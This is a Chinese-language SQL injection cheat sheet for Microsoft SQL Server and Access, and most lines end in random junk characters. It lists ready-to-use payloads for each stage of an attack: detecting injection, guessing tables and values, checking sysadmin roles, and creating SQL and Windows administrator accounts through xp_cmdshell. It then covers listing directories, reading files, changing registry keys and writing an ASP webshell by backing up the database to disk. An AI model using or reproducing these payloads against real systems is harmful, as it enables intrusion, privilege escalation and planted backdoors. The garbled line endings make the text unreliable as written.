1.判断是否有注入;and 1=1 ;and 1=2 \tP*Pz
2.初步判断是否是mssql ;and user>0 iP1yy5T
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3.注入参数是字符'and [查询条件] and ''=' k7(lwEgNG
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' M<Y{Cs
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5.判断数据库系统 RcZ&/MY
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;and (select count(*) from sysobjects)>0 mssql kovJ9
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;and (select count(*) from msysobjects)>0 access E
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 r?pN-x$M=
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 gf^y3F[\
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 6QNZ/Ox:
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9.(1)猜字段的ascii值(access) .k%/JF91n
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Hr \vu`p$
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(2)猜字段的ascii值(mssql) w8#ji 1gX
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 162Dj$
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10.测试权限结构(mssql) ?.c:k;j
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- f?(g5o*2
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- j{/5i`5m
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- r&~]6
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ?!3u?Kd
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- z9v70
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- +=*ND<$n/E
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;and 1=(select IS_MEMBER('db_owner'));-- ET%F+
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11.添加mssql和系统的帐户 /2 qxJvZ
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;exec master.dbo.sp_addlogin username;-- G{zxP%[E
;exec master.dbo.sp_password null,username,password;-- _*xY>?Aq
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- :z\||f
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;exec master.dbo.xp_cmdshell 'net user username password wBEBj7(y
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 7Oi<_b
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- +KOhDtLMG
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- \vuWypo
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12.(1)遍历目录 OJ.oHf=K!
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;create table dirs(paths varchar(100), id int) :zpT Gk8Z
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;insert dirs exec master.dbo.xp_dirtree 'c:\' :J+ANIRI
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;and (select top 1 paths from dirs)>0 N5tFEV'G
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) Yfy";C7X
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- :\%hv>}|
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 rY$wC%
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 OK
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 nd5.Py$
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ler$HA%F]
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13.mssql中的存储过程 LwH+X:?i
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xp_regenumvalues 注册表根键, 子键 \#gguq?[
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 !HXyvyDN
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xp_regread 根键,子键,键值名 u5`b")a
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 +KIBbXF7
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xp_regwrite 根键,子键, 值名, 值类型, 值 q~{O^,4S
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 zJOyr"B'8
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 !VHw*fL|r
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xp_regdeletevalue 根键,子键,值名 MI`<U:-lP
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 [5GzY`/m
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 FQ/z,it_i
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14.mssql的backup创建webshell q%XjJ -s:
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use model C
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create table cmd(str image); cxIAI=JK
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insert into cmd(str) values (''); K)eyFc
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backup database model to disk='c:\l.asp'; U:|:Y=O?Q
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15.mssql内置函数 0 4a@
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;and (select @@version)>0 获得Windows的版本号 ,X\qlT5C
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa .RbPO#(
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;and (select user_name())>0 爆当前系统的连接用户 uzS;&-nA
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;and (select db_name())>0 得到当前连接的数据库 k?Njge6@
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16.简洁的webshell ]'z 5%'
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use model Ls&-8
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create table cmd(str image); Y{8}z
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insert into cmd(str) values (''); c7R6.T
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backup database model to disk='g:\wwwtest\l.asp';